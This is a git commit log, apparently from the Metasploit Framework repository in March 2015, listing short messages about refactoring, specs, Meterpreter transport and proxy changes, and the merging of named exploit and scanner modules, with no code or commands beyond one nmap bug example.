sinn3r 111e3fcb88 Add rspec for #send_request 2015-03-25 01:45:03 -05:00
sinn3r 8f95624bf7 Add #send_request to Metasploit::Framework::LoginScanner::HTTP 2015-03-25 01:40:02 -05:00
OJ 1f00b595bc Hacked support for transport switching 2015-03-25 13:08:52 +10:00
jvazquez-r7 a5c39db6c3 Use mocks like a boss... 2015-03-24 19:30:59 -05:00
jvazquez-r7 0b671d5210 Add specs for Msf::Java::Rmi::Client::Jmx::Connection 2015-03-24 19:15:25 -05:00
jvazquez-r7 f43eab29ed Delete debug puts 2015-03-24 19:14:30 -05:00
jvazquez-r7 356e8c727c Add specs for Msf::Java::Rmi::Client::Jmx::Server 2015-03-24 18:56:58 -05:00
jvazquez-r7 464a6df5e0 Add specs for Msf::Java::Rmi::Client::Registry 2015-03-24 18:42:35 -05:00
rastating 7a0fe05803 Add CVE-ID to module references 2015-03-24 22:30:43 +00:00
jvazquez-r7 0fe98bc023 Delete old JMX mixin specs 2015-03-24 17:30:37 -05:00
jvazquez-r7 e20398a70a Add specs for Msf::Java::Rmi::Client::Jmx::Server::Parser 2015-03-24 17:30:06 -05:00
William Vu 376bf13f1e Land #5000, tools/dev/add_pr_fetch.rb 2015-03-24 17:10:49 -05:00
William Vu aa1a3580b8 chmod +x tools/dev/set_binary_encoding.rb
Missed in #4875.
2015-03-24 17:10:31 -05:00
jvazquez-r7 0a352fc7d4 Finish specs for Msf::Java::Rmi::Client::Jmx::Connection::Builder 2015-03-24 17:06:05 -05:00
William Vu d3773aed55 Rename add-pr-remote.rb to add_pr_fetch.rb 2015-03-24 17:05:43 -05:00
jvazquez-r7 115c4e5a06 Add first specs for Msf::Java::Rmi::Client::Jmx::Connection::Builder 2015-03-24 16:37:05 -05:00
jvazquez-r7 82d545850e Add specs for Msf::Java::Rmi::Client::Jmx::Server::Builder 2015-03-24 16:04:18 -05:00
jvazquez-r7 87cac6fd55 Complete specs for Msf::Java::Rmi::Util 2015-03-24 15:41:32 -05:00
jvazquez-r7 48026da35f Fix RMI specs 2015-03-24 15:14:36 -05:00
jvazquez-r7 0a07bb4d17 Add a couple of specs for Rex::Proto::Rmi::Model::ReturnValue 2015-03-24 15:08:59 -05:00
Christian Mehlmauer 7bf00f8f47 Land #4789, @rastating WPLMS wordpress module 2015-03-24 20:46:38 +01:00
James Lee b0fac4824c Stop caring about order of keys in user_data 2015-03-24 14:21:52 -05:00
William Vu 6d85b5fd1e Land #4998, non-loopback LHOST tab completion 2015-03-24 14:00:01 -05:00
William Vu 660f3dac2b Land #4997, smb_version SMBDirect option fix 2015-03-24 13:46:09 -05:00
James Lee 023f47f19a Use build instead of create 2015-03-24 13:17:42 -05:00
James Lee b9934cfd3f Add workspace to ensure consistency with session 2015-03-24 13:14:55 -05:00
James Lee 13a899b3d2 Use a named subject 2015-03-24 13:13:54 -05:00
James Lee 414983ac8c Merge branch 'feature/MSP-11925/create-user-data' into staging/single-vuln-push
Conflicts:
	Gemfile.lock
2015-03-24 12:42:08 -05:00
jvazquez-r7 6ea42f6599 Fix description 2015-03-24 12:30:27 -05:00
jvazquez-r7 7c0e17d1f7 Update RMI/JMX mixin documentation 2015-03-24 12:29:40 -05:00
James Lee 65c00dffac Tab complete non-loopback interfaces' addresses 2015-03-24 12:10:58 -05:00
sinn3r 58c5be0d72 Allow SMBDirect to be optional
The smb_version module needs to deregister the SMBDirect option,
but cannot do this because SMBDirect is a required option. By
having it as optional, the user no longer needs to set it. Also,
since SMBDirect already has a default value, having it as optional
should not change the mixin's default behavior.
2015-03-24 12:04:44 -05:00
jvazquez-r7 39e87f927a Make code consistent 2015-03-24 11:44:26 -05:00
William Vu f5947e8ef5 Land #4996, @todb-r7's grammaring harder 2015-03-24 11:15:17 -05:00
Tod Beardsley 49a6057f74 Grammaring harder 2015-03-24 11:10:36 -05:00
William Vu bf70df6788 Land #4995, db_nmap arguments fix 2015-03-24 10:51:47 -05:00
Tod Beardsley 3dec83c1df Utility for adding PR fetch refs 2015-03-24 10:20:34 -05:00
RageLtMan 548a710745 Replace db_nmap string concat with an Array
16eab48012 introduced changes to
cmd_db_nmap which pass a new arguments variable to Open3 with a
list of args excluding save.

This approach created a problem wherein the address of the target
had to be passed in first and arguments could get mangled.

Reintroduce an array format, exploding when passing to Open3.
Ensure output file options are appended to the arguments being
passed to Open3, instead of the args variable.

Error example:
db_nmap -F 192.168.0.1
[*] Nmap: 'nmap: unrecognized option '- 192.168.0.1 ''
2015-03-24 04:36:58 -04:00
William Vu 9fadc399a2 Land #4994, tools/missing-payload-tests.rb rename
To tools/missing_payload_tests.rb.
2015-03-24 01:00:29 -05:00
sinn3r bef67d773c Don't break untested_payloads.rb 2015-03-24 00:54:11 -05:00
William Vu 7c456f2ad8 Land #4993, ams_xfr "payload_exe" NameError fix 2015-03-24 00:51:49 -05:00
sinn3r 1910a6c6c5 Correct filename for missing-payload-tests.rb
missing-payload-tests.rb is not the correct file format we follow,
it should be missing_payload_tests.rb
2015-03-24 00:50:09 -05:00
sinn3r 8255e7a2dc Fix #4987 - undef payload_exe for ams_xfr
Fix #4987
2015-03-24 00:42:22 -05:00
William Vu 3dac6377d0 Fix #4983, bad copy pasta'd deprecation year 2015-03-24 00:34:54 -05:00
William Vu fadac30f00 Fix deprecated year 2015-03-24 00:34:38 -05:00
Christian Mehlmauer 6eedf6ac03 Land #4975, egghunter tool, Resolve #4944 2015-03-24 06:20:30 +01:00
Christian Mehlmauer 71c544c3c5 added newline at end of file 2015-03-24 06:19:27 +01:00
sinn3r 3c4da5c3ff Update BES rspec 2015-03-24 00:10:18 -05:00
William Vu 6353154865 Land #4983, renamed WordPress modules 2015-03-23 23:49:40 -05:00
William Vu e338b77389 Readd and deprecate renamed WordPress modules 2015-03-23 23:48:56 -05:00
sinn3r db243a8225 x360_video_player_set_text_bof actually uses SetText for ActiveX 2015-03-23 23:36:20 -05:00
HD Moore f6731f115f Lands #4991, fixes a potential backcompat issue w/meterpreter 2015-03-23 20:00:35 -05:00
sinn3r 3248f02c2c These exploits use :activex, so I update the usage for them 2015-03-23 19:34:24 -05:00
OJ 25dcfc796a Better support old binaries in rev http(s)
* Patch 256char URL if the 512char one doesn't work.
* Return an empty list in the case where the ext enum fails.
2015-03-24 10:14:44 +10:00
jvazquez-r7 04341bfc78 Support JMX_ROLE again 2015-03-23 17:32:26 -05:00
Brent Cook 1869977921 Land #4962: OJ adjusts MSF to new metsrv needs
bump meterpreter bins to 0.0.17
2015-03-23 17:18:06 -05:00
Brent Cook afe17e1f33 bump meterpreter bins to 0.0.17 2015-03-23 17:15:49 -05:00
jvazquez-r7 d8d4c23d60 JMX code refactoring 2015-03-23 17:06:51 -05:00
sinn3r 2900f57afd It looks like this works 2015-03-23 16:46:53 -05:00
David Maloney 60966f3d2a handle a blank response body
sometimes the response body itself can be blank
so we need to handle that properly.

MSP-9972
2015-03-23 16:03:30 -05:00
OJ 24d74b26e3 Beginning work for stageless x64 meterpreter 2015-03-24 06:50:06 +10:00
jvazquez-r7 6934fde5a1 Finish first draft of new jmx mixin 2015-03-23 15:49:18 -05:00
jvazquez-r7 962bb670de Remove old JMX mixin 2015-03-23 15:48:10 -05:00
William Vu 809bc52dfc Land #4982, tagging for msfconsole 2015-03-23 15:28:50 -05:00
sinn3r 0e1b9f90b4 Small details 2015-03-23 14:40:20 -05:00
andygoblins 89e27d98ab Use relative URL to GET payload for WinXP
Relative URLs are simpler, and allow the exploit to work on attack machines in NAT environments. Example: attack machine is NATed and does not have a DNS hostname. SRVHOST must be 0.0.0.0 but the victim cannot access the attacker from Rex::Socket.source_address
2015-03-23 14:40:06 -05:00
HD Moore 6852475be0 Placeholder for UUID options 2015-03-23 14:35:33 -05:00
HD Moore dfbaa6b42e Typo 2015-03-23 14:35:08 -05:00
sinn3r e520ace1f1 Stash 2015-03-23 14:21:46 -05:00
Tod Beardsley fe3f9c71cb Land #4985, Mozilla vuln from @joevennix 2015-03-23 14:05:35 -05:00
Tod Beardsley 21a97c0926 Add exploit for R7-2015-04, Firefox Proxy RCE 2015-03-23 13:44:41 -05:00
sinn3r 156520338d Making some changes to how BES handles ActiveX 2015-03-23 12:21:27 -05:00
jvazquez-r7 79068c8ec2 Delete JMX discovery stream 2015-03-23 10:21:37 -05:00
aushack b191f92713 Renamed WordPress files to fit majority naming convention. 2015-03-23 18:15:04 +11:00
sinn3r 01caf161f8 Fix syntax error in db_spec.rb 2015-03-23 01:35:26 -05:00
sinn3r 2e75d14d56 Update rspec 2015-03-23 00:53:55 -05:00
William Vu 1a2a78b417 Land #4981, msfvenom advanced/evasion options 2015-03-23 00:30:35 -05:00
William Vu b87744c1a9 Add whitespace 2015-03-23 00:30:18 -05:00
William Vu 2f83a53884 Add missing fix for #4921 2015-03-23 00:26:18 -05:00
William Vu 8165ae35d0 Remove extraneous semicolon 2015-03-23 00:26:03 -05:00
William Vu e176b21bcd Land #4921, db_nmap help and tab completion 2015-03-23 00:22:46 -05:00
OJ 20131110cd Add verify_ssl file (missed in prev commit) 2015-03-23 13:22:10 +10:00
OJ 9c9d333a1b Create verify ssl mixin, adjust some formatting 2015-03-23 13:21:08 +10:00
sinn3r 23685694ad The tags column should be a virtual column 2015-03-22 21:04:37 -05:00
sinn3r 182018786b This is probably the proper way to delete tags 2015-03-22 20:55:20 -05:00
sinn3r ffe48e1ec8 Don't need order to delete 2015-03-22 20:43:11 -05:00
HD Moore 1b3dfe6635 Lands #4977, updates test module to support arbitrary base filename. 2015-03-22 20:32:52 -05:00
HD Moore 3cb4fa293f Show advanced/evasion options in msfvenom --payload-options 2015-03-22 20:24:26 -05:00
sinn3r ef62fc3df7 Allow the delete mode for tags 2015-03-22 20:08:23 -05:00
HD Moore bc3c73e408 Merge branch 'master' into feature/registered-payload-uuids 2015-03-22 18:51:13 -05:00
sinn3r b2cc3c4954 I found more bugs and fixed them 2015-03-22 18:21:57 -05:00
sinn3r 708eb42984 I fix bugs for tagging 2015-03-22 18:13:40 -05:00
nstarke dac5b078f0 Minor fixes for format and style
This commit contains a few minor tweaks
for style and format.  Some whitespace removed,
an erroneous 'return' removed, and using single
quotes for consistency.  Updated as per request.
2015-03-22 22:51:21 +00:00
nstarke 16eab48012 Adding help and tab functions for db_nmap
These functions address certain problems
listed in GitHub issue #4353, but do not
address all issues in that ticket.  Most
notably, this commit adds basic tab
completion for db_nmap.
2015-03-22 22:45:56 +00:00
HD Moore 378e867486 Refactor Msf::Payload::UUID, use this in reverse_http 2015-03-22 16:17:12 -05:00
HD Moore 0d1fe37710 Ignore non-base64url characters during decode 2015-03-22 16:16:47 -05:00
sinn3r 863cbcbddb Add real tagging for the hosts command 2015-03-22 15:34:37 -05:00
jvazquez-r7 2d1adf6ef4 Land #4923, @m-1-k-3's exploit for overflow on belkin routers 2015-03-22 02:05:35 -05:00
jvazquez-r7 ee74bb3c5b The default concat operator should be ok 2015-03-22 02:05:02 -05:00
jvazquez-r7 5499b68e02 Do code cleanup 2015-03-22 01:58:32 -05:00
sinn3r 315948e403 Extra newline 2015-03-21 13:49:50 -05:00
Spencer McIntyre 9f176cab43 Land #4976, @wchen-r7's Egghunter undefined esize fix 2015-03-21 13:34:37 -04:00
sinn3r 848dc07020 var name needs a default 2015-03-21 12:20:29 -05:00
sinn3r f45e8f49eb Custom var name 2015-03-21 12:18:02 -05:00
sinn3r 2be5ae3bab Fix bugs 2015-03-21 12:14:00 -05:00
Spencer McIntyre a407bc8d65 Fix the reverse_https stager CachedSize for the spec 2015-03-21 13:05:44 -04:00
Spencer McIntyre 7282968d8a Python reverse HTTPS stager 2015-03-21 12:43:14 -04:00
HD Moore 94241b2998 First attempt at rewiring HTTP handlers to use UUIDs 2015-03-21 03:15:08 -05:00
sinn3r 0ff114bcd6 use #!/usr/bin/env ruby 2015-03-20 23:48:13 -05:00
sinn3r 675f96ecd1 Don't need this require 2015-03-20 23:32:23 -05:00
Brent Cook 8e8e373c31 Land #4961, @zeroSteiner adds unicode for pymet 2015-03-20 22:38:24 -05:00
Brent Cook b29d2b5e84 do not die if the uid/gid of a file is > 65535
The meterpreter stat command is a little broken in that it assumes uid/gids
16-bit. Prevent this from erroring with python meterpreter on a system with a
large uid/gid.
2015-03-20 22:34:01 -05:00
Brent Cook d77f8ffeeb update meterpreter tests to test utf filenames
This adds a new option BaseFileName that allows setting the base name for files
and directories used in the meterpreter test modules.
2015-03-20 22:18:19 -05:00
sinn3r 97b919923e Fix undefined esize in Rex::Exploitation::Egghunter
esize is not a valid variable, and we don't need it either.
2015-03-20 21:32:46 -05:00
HD Moore 858d9b1e7a Introduce Rex::Text.(en|de)code_base64url and use it for uri_checksum 2015-03-20 21:32:08 -05:00
sinn3r e09f9ca0bc Provide an example 2015-03-20 20:55:30 -05:00
sinn3r 96bcdd211c Finished rspec 2015-03-20 20:53:04 -05:00
William Vu 07b82ec640 Land #4974, minishare_get_overflow WfsDelay change 2015-03-20 18:55:58 -05:00
William Vu 859b54f8a3 Land #4956, Qualys' Exim GHOST module 2015-03-20 18:44:30 -05:00
jvazquez-r7 8c3e39acf0 Land #4847 @rastating's module for WordPress WP EasyCart privilege escalation 2015-03-20 18:23:05 -05:00
jvazquez-r7 349d7cb9ee Do minor cleanup 2015-03-20 18:20:45 -05:00
Adam Ziaja 921b9eab8e Update minishare_get_overflow.rb
set WfsDelay 30
2015-03-20 23:42:54 +01:00
William Vu 4004771aed Land #4972, minishare_get_overflow targets
Windows 2003 SP1 English and Windows 2003 SP2 English.
2015-03-20 17:27:34 -05:00
William Vu 6f51946aa0 Land #4969, GitLab module references 2015-03-20 17:26:51 -05:00
William Vu 99f3de0843 Clean up info hash formatting 2015-03-20 17:26:21 -05:00
Adam Ziaja 505ecd32fb Update minishare_get_overflow.rb
Windows 2003 SP1 English, Windows 2003 SP2 English
2015-03-20 23:09:50 +01:00
sinn3r 470464874f The important test cases I want to cover 2015-03-20 16:53:42 -05:00
HD Moore 1eafb21741 Lands #4970, fixes exception about msfconsole.rc 2015-03-20 16:49:04 -05:00
William Vu 259e95ed21 Add load_resource exception for msfconsole.rc
This prevents msfconsole from erroring on a nonexistent msfconsole.rc.
2015-03-20 16:50:27 -05:00
sinn3r 2fda115110 rspec starter 2015-03-20 16:46:09 -05:00
sinn3r 487ddfc09c no need for Interrupt 2015-03-20 16:39:00 -05:00
sinn3r 582bfdad64 explain arch 2015-03-20 16:37:42 -05:00
James Lee 96195f317e Use staging branch of mdm 2015-03-20 16:35:46 -05:00
sinn3r 9ecfd36d9e comments 2015-03-20 16:34:58 -05:00
sinn3r 79a6f1cd09 fix option bug 2015-03-20 16:33:19 -05:00
sinn3r 6da216f3a4 More options 2015-03-20 16:30:29 -05:00
sinn3r af8f645d1c This starts to work 2015-03-20 16:15:43 -05:00
jvazquez-r7 1226b3656f Land #4945, @wchen-r7's login scanner for Symantec web gateway 2015-03-20 14:44:05 -05:00
jvazquez-r7 2f35fcff99 Fix require 2015-03-20 14:43:42 -05:00
jvazquez-r7 e257e742e0 Fix require 2015-03-20 14:26:55 -05:00
jvazquez-r7 62871255b0 Match class and file names 2015-03-20 14:25:20 -05:00
jvazquez-r7 eb73da2f39 Clean specs 2015-03-20 14:19:02 -05:00
Meatballs 8ee520e749 Add reference 2015-03-20 19:17:34 +00:00
sinn3r fe267fb5a6 Here's a starting point 2015-03-20 14:15:14 -05:00
William Vu 8cec8e68ac Land #4968, print_error for msfconsole -r 2015-03-20 13:53:42 -05:00
William Vu 4d00114428 Add parens around print_error 2015-03-20 13:53:14 -05:00
sinn3r 2c5c94288d Fix #4966, tell the user the resource script path is invalid
Fix #4966
2015-03-20 13:38:12 -05:00
jvazquez-r7 179177d5c0 Fix typo 2015-03-20 13:27:41 -05:00
sinn3r b19f766728 Land #4942, Gitlab Login Scanner 2015-03-20 13:02:12 -05:00
sinn3r a2ce14a31e Land #4941, Gitlab Unauth User Enumeration 2015-03-20 12:28:35 -05:00
sinn3r 235124a40a Fix typo 2015-03-20 12:27:23 -05:00
sinn3r 84164b44b2 Should also rescue JSON::ParserError for banner parsing 2015-03-20 12:27:02 -05:00
sinn3r 0c2ed21e90 Land #4318, Lateral movement through PSRemoting 2015-03-20 11:39:35 -05:00
sinn3r 23d8479683 Fix typo 2015-03-20 11:39:00 -05:00
sinn3r 0da79edb9c Add a print_status to let the user know the module is over
If I have to run the module as a job, sometimes I can't tell if
the module has finished running or not.
2015-03-20 11:35:18 -05:00
Spencer McIntyre 8608569964 Pymet support for creating and renaming unicode paths 2015-03-20 08:49:23 -04:00
sinn3r 1b67a06d35 No banner var 2015-03-20 02:26:59 -05:00
sinn3r b55ffc9ff1 Change option to FORCE_EXPLOIT 2015-03-20 01:44:10 -05:00
OJ 9d20d057dd Update Meterpreter URL length to 512 2015-03-20 13:16:43 +10:00
OJ cdbe923419 Ignore all the DLLs
We don't keep any meterpreter DLLs in the main repo now, so this changes
the ignore to make sure nothing goes in.
2015-03-20 13:12:48 +10:00
oj@buffered.io fd4ad9bd2e Rework changes on top of HD's PR
This commit removes duplication, tidies up a couple of things and puts
some common code into the x509 module.
2015-03-20 13:06:57 +10:00
OJ 7b4161bdb4 Update code to handle cert validation properly
This code contains duplication from HD's PR. Once his has been landed
this code can be fixed up a bit so that duplication is removed.
2015-03-20 12:52:47 +10:00
OJ 7ca91b2eb5 Add support for ssl to the patcher 2015-03-20 12:52:38 +10:00
OJ d38e2c968e Add required include for stageless meterpreter 2015-03-20 12:52:28 +10:00
OJ a9f74383d0 Update patch to support both ascii and wchar 2015-03-20 12:52:18 +10:00
OJ acd802c5fd Initial work for WinHTTP comms support in Meterpreter 2015-03-20 12:51:47 +10:00
William Vu cf645772b6 Land #4960, hosts -i, -n, and -m support 2015-03-19 21:34:14 -05:00
William Vu 38dbd1889e Fix report_note to use :data
:note doesn't do what we want.
2015-03-19 21:33:17 -05:00
William Vu 83ce967d75 Clean up hash syntax as per style guide 2015-03-19 21:23:28 -05:00
William Vu 7eec88c086 Land #4957, glassfish_login symbol cleanup 2015-03-19 21:20:33 -05:00
Brent Cook 564962042e Land #4925, OJ adds self-contained windows meterpreter options 2015-03-19 21:07:32 -05:00
HD Moore c0bf51e0f5 Add a timestamp to the UUID structure 2015-03-19 19:11:58 -05:00
jvazquez-r7 da51d2be67 Really add specs for Msf::Java::Rmi::Client::Registry::Parser 2015-03-19 19:07:42 -05:00
jvazquez-r7 6094d1bfb1 Add specs for Msf::Java::Rmi::Client::Registry::Parser 2015-03-19 19:07:03 -05:00
jvazquez-r7 6eecbc3de1 Add specs for Msf::Java::Rmi::Client::Registry::Builder 2015-03-19 18:24:31 -05:00
sinn3r 6c84081552 Update db_spec.rb 2015-03-19 18:12:37 -05:00
jvazquez-r7 b839547dc3 Add documentation for Registry modules and methods 2015-03-19 17:57:21 -05:00
jvazquez-r7 a7f1244251 Finish the java_rmi_registry gather module 2015-03-19 17:33:45 -05:00
Spencer McIntyre bac2e7c5f8 Pymet improved unicode support for working directories 2015-03-19 18:31:42 -04:00
sinn3r f38ad13094 Resolve #4891, new arguments for the hosts command
Resolve #4891
2015-03-19 17:00:41 -05:00
Spencer McIntyre f9bf4e3100 Fix pymet for unicode files and directories
Closes #4958
2015-03-19 17:23:00 -04:00
jvazquez-r7 1d69e15d1a Fix registry lookup parser 2015-03-19 16:19:55 -05:00
Brent Cook 86f943e25a Land #4959 - @hmoore-r7 - disable unicode filter by default on !windows 2015-03-19 16:09:25 -05:00
Brent Cook 24ce0118b8 reenable UTF filtering support where needed
revert d22231bdc8
2015-03-19 16:02:21 -05:00
HD Moore d53ccb32a0 Turn off unicode filtering by default for non-Windows platforms (UTF-8 consoles)
This is a followup to support for unicode added in #4950
2015-03-19 15:45:45 -05:00
jvazquez-r7 ec90594f7e Add support for Rex::Java::Serialization::ProxyClassDesc 2015-03-19 15:41:24 -05:00
OJ a582e05b6d Merge gemfile changes in master 2015-03-20 06:29:38 +10:00
OJ 040ef1e3e9 Land #4950: ls unicode and sorting in meterpreter 2015-03-20 06:28:29 +10:00
OJ 830f328aba Bump meterpreter_bins version 2015-03-20 06:23:10 +10:00
sinn3r 94ab2f94fd Remove symbols that aren't used
These symbols belong to the AuthBrute mixin, but we are not using
AuthBrute for login testing.
2015-03-19 14:14:01 -05:00
sinn3r d8539ef91a Change datastore option's description 2015-03-19 12:22:42 -05:00
sinn3r a2ba81f84f This should be true (required) 2015-03-19 11:54:03 -05:00
sinn3r d8c8bd1669 Move the details to a wiki 2015-03-19 11:52:17 -05:00
jvazquez-r7 5c3134a616 Add first support to gather information from RMI registries 2015-03-19 11:16:04 -05:00
OJ 8ac032392b Update meterpreter bins gem version 2015-03-19 14:51:03 +10:00
OJ 7899881416 Update POSIX bins from master 2015-03-19 14:50:14 +10:00
OJ 1dcad7c21b Land #4953 : Updated POSIX meterpreter binaries 2015-03-19 14:43:27 +10:00
Brent Cook 35d29f5d08 update linux meterpreter bins 2015-03-18 23:24:32 -05:00
OJ 1a2f35d806 Land #4951: Dynamic URI generation for Java/Python reverse_http(s) 2015-03-19 12:41:20 +10:00
Spencer McIntyre 076f15f933 Land #4792 @jakxx Publish It PUI file exploit 2015-03-18 20:59:54 -04:00
Spencer McIntyre 3f8ed56a9a Add available space to the payload info 2015-03-18 20:57:58 -04:00
Meatballs a5d589ef55 Railgun calls should return a hash 2015-03-19 00:05:02 +00:00
Meatballs 6ceab3d02d Add a DisclosureDate 2015-03-18 23:51:18 +00:00
sinn3r 968a8758ad Add CVE-2015-0235 Exim GHOST (glibc gethostbyname) Buffer Overflow
This was originally written by Qualys
2015-03-18 18:51:16 -05:00
Meatballs 2dd9dcb26c Dont use native unpack operators! 2015-03-18 23:48:39 +00:00
Meatballs 975ddc9092 Add some spec mockery 2015-03-18 23:43:46 +00:00
joev b33e7f477c Land #4947, h0ng10's TWiki exploit. 2015-03-18 17:17:34 -05:00
HD Moore ce0796a427 Base module for Payload UUID support 2015-03-18 17:03:47 -05:00
HD Moore ae621c83c5 Add a URL-safe base64 encoder/decoder 2015-03-18 17:03:29 -05:00
HD Moore 346b1d539f Revert Java back to static size for cache purposes (less cpu usage on startup) 2015-03-18 16:24:01 -05:00
HD Moore 33bbf7cb7e Dynamic URI generation for python/java http(s) stagers 2015-03-18 16:08:11 -05:00
Brent Cook c774038fe6 improve ls output by providing various new options 2015-03-18 16:02:03 -05:00
jvazquez-r7 ae84c8ee30 Delete even more comments 2015-03-18 15:55:52 -05:00
jvazquez-r7 9628415ca2 Delete more comments 2015-03-18 15:53:50 -05:00
jvazquez-r7 c3dd4035ef Make jmx module work again 2015-03-18 15:48:07 -05:00
jvazquez-r7 f956ba1a46 Do first JMX cleaning try 2015-03-18 15:37:07 -05:00
HD Moore 0d1f2055c5 Lands #4949 which fixes #4845 2015-03-18 15:31:22 -05:00
rwhitcroft dab4333867 updated asm in block 2015-03-18 16:07:46 -04:00
rwhitcroft 7ae97393e0 fix x64/reverse_https stager shellcode 2015-03-18 15:34:31 -04:00
David Maloney 4293af01b1 make sure we strip leading whitespace
in the aforementiond record_request_and_response method
we need to still make sure to strip leading whitespace
from the front of our data before saving it

MSP-9972
2015-03-18 11:23:45 -05:00
David Maloney dacaa9e82b simplify request-response parsing in apsscan
the record_request_and_response method for the
nokogiri appscan parser was way overcomplicated
it was trying to do way too much trickiness
when the data could be very simply split and consumed

MSP-9972
2015-03-18 11:19:00 -05:00
David Maloney 3269817b29 remove bad truthiness checks
truthy checks were used here, but you'll get
an empty hash which will be treated as true causing
the test to be invalid and allowing for errors further in the method

MSP-9972
2015-03-18 10:52:24 -05:00
jvazquez-r7 8113ed2e1f Move specs 2015-03-18 09:29:37 -05:00
jvazquez-r7 17e1f7d34f Move Streams code 2015-03-18 09:25:53 -05:00
OJ e943cb550f Land #4585 : CVE-2015-0975 XXE in OpenNMS 2015-03-18 22:34:52 +10:00
OJ d1a2f58303 Fix of regex for file capture and format tweaks 2015-03-18 22:17:44 +10:00
Hans-Martin Münch (h0ng10) 5dd718e4fa Better description 2015-03-18 09:51:51 +01:00
Hans-Martin Münch (h0ng10) 00de437918 Initial commit 2015-03-18 09:45:08 +01:00
OJ fa7242388b Move the module to the correct location 2015-03-18 18:18:54 +10:00
OJ d152c41826 Land #4934 : Proxy and auth support in reverse_http(s) 2015-03-18 17:42:19 +10:00
HD Moore b62da42927 Merge branch 'master' into feature/add-proxies-to-wininet 2015-03-18 01:51:15 -05:00
OJ b46e5f8d13 Land #4295 : Refactory proxy-enabled payload handling 2015-03-18 16:49:13 +10:00
HD Moore c607cf7b11 Merging master 2015-03-18 01:45:44 -05:00
HD Moore 97def50cc2 Whitespace cleanup 2015-03-18 01:26:59 -05:00
HD Moore 8d3cb8bde5 Fix up meterpreter patching arguments and names 2015-03-18 01:25:42 -05:00
HD Moore ef443c83b9 Fix overgreed search/replace 2015-03-18 01:21:53 -05:00
HD Moore 390a704cc7 Cleanup proxyhost/proxyport arguments to match new names 2015-03-18 01:19:05 -05:00
HD Moore f7a06d8e44 Rework PROXY_{HOST|PORT|TYPE|USERNAME|PASSWORD) to the new syntax 2015-03-18 01:15:32 -05:00
HD Moore 3aa8cb69a4 Fix two use cases of PROXYHOST/PROXYPORT 2015-03-18 01:08:09 -05:00
HD Moore 87a489907c Place an IPv6 proxy IP between brackets 2015-03-18 01:01:16 -05:00
HD Moore 259db269bd Remove user/pass and invalid class from the options 2015-03-18 01:01:16 -05:00
HD Moore 2ab14e7e79 Adds IPv6 and option-related issues with the previous patch 2015-03-18 01:01:10 -05:00
HD Moore 0601946830 Don't mandate and default PROXY_HOST (miscopy from the proxy stager) 2015-03-18 01:00:04 -05:00
HD Moore a4df6d539f Cleanup proxy handling code (consistency & bugs)
One subtle bug was that each time a request was received, a null byte was being appended to the datastore options for PROXY_USERNAME and PROXY_PASSWORD. Eventually this would break new sessions. This change centralizes the proxy configuration and cleans up the logic.
2015-03-18 00:59:59 -05:00
HD Moore 85fb534e63 Fix up the offset detection again, cleanup redundant code 2015-03-18 00:59:25 -05:00
HD Moore 2f13988d7b Use OptPort vs OptInt and cleanup the description 2015-03-18 00:59:25 -05:00
HD Moore a01be365b0 Rework PROXYHOST/PROXYPORT to PROXY_HOST/PROXY_PORT
This also cleans up the windows reverse_https_proxy stager.
2015-03-18 00:59:13 -05:00
jvazquez-r7 14be07a2c4 Update java_rmi_server modules 2015-03-17 21:29:52 -05:00
jvazquez-r7 d6048d0978 Use rex support for build_call 2015-03-17 21:05:45 -05:00
jvazquez-r7 0968f14ac1 Add specs for CallData 2015-03-17 20:53:02 -05:00
jvazquez-r7 6315e07312 Add specs for UniqueIdentifier 2015-03-17 20:38:43 -05:00
jakxx b197b7aaf0 Additional Updates
-Removed unused mixin
-Cleaned up Module name
-Cleaned up author name
2015-03-17 19:24:13 -04:00
James Lee bd4738b93e Land #4827, capture and nbns fixups 2015-03-17 17:37:55 -05:00
James Lee d7fa0ec669 Let IPAddr#hton do the calculating 2015-03-17 17:36:45 -05:00
jvazquez-r7 4bc4936083 Add specs for ReturnValue 2015-03-17 17:30:53 -05:00
jvazquez-r7 87b777e923 Refactor moving code to rex 2015-03-17 17:15:32 -05:00
Brent Cook 47a7f99aae Land #4930, @hmoore-r7 winhttp stager certificate check 2015-03-17 16:22:46 -05:00
sinn3r 78ec4c91e8 Completed rspec 2015-03-17 16:15:12 -05:00
jakxx 085e6cc815 Implemented Recommended Changes
-corrected spelling error
-set only option to required
-dumped header data to included file
-Used Rex for jmp values
2015-03-17 16:39:56 -04:00
sinn3r ee276434a4 Update swg spec, looking good so far 2015-03-17 15:15:32 -05:00
jvazquez-r7 1242404085 Delete comment 2015-03-17 14:18:07 -05:00
William Vu d1d6378179 Land #4566, Misfortune Cookie scanner improvements 2015-03-17 12:32:35 -05:00
sinn3r d5b77d053b Update for rspec 2015-03-17 12:14:58 -05:00
sinn3r 503fb602f9 Get rspec going 2015-03-17 12:01:46 -05:00
sinn3r 608bf55b79 Update 2015-03-17 11:54:38 -05:00
jvazquez-r7 2d8782d711 Fix RMI specs 2015-03-17 11:48:38 -05:00
jvazquez-r7 dd6ecefe39 Fix endianess 2015-03-17 11:40:50 -05:00
sinn3r f95b783193 I don't need these eitehr 2015-03-17 11:33:49 -05:00
sinn3r 27b6fbb648 I don't need :ssl and :ssl_version 2015-03-17 11:31:38 -05:00
jvazquez-r7 ebe7ad07b0 Add specs, plus modify java_rmi_server modules 2015-03-17 11:26:27 -05:00
Brent Cook d22231bdc8 remove unicode_filter_encode calls
Let the underlying utf8 messages through to the console.
2015-03-17 11:07:07 -05:00
jstnkndy 0490af8ba8 Added error checks, randomness, and uuid delimeter 2015-03-17 10:20:22 -04:00
jstnkndy f3fc4003d0 typo 2015-03-17 10:19:40 -04:00
jstnkndy b92d243c0e Merge branch 'module-cve-2015-0975' of https://github.com/jstnkndy/metasploit-framework into module-cve-2015-0975 2015-03-17 10:18:32 -04:00
jstnkndy e0a7f531cc Added error checking, randomness, uuid delimiters 2015-03-17 10:10:51 -04:00
Meatballs e1ebc6c7fe Update date, remove URL (will replace later) 2015-03-17 12:50:47 +00:00
Meatballs 69453c1955 Missing ? 2015-03-17 12:00:58 +00:00
Meatballs fcc21ff928 Stylish like @limhoff-r7 2015-03-17 11:44:02 +00:00
Meatballs 2c6b904c02 Correct spec too 2015-03-17 11:36:36 +00:00
Meatballs 0cd85cb052 Correct capitilzation of GitLab 2015-03-17 11:33:57 +00:00
Meatballs d18224e3cb Correct capitilzation of GitLab 2015-03-17 11:32:14 +00:00
Meatballs 25840c41cf Rubocop 2015-03-17 11:21:05 +00:00
Meatballs f4a1e981ab Add gitlab login scanner 2015-03-17 11:19:23 +00:00
Meatballs 878247f495 Small modifications 2015-03-17 10:03:32 +00:00
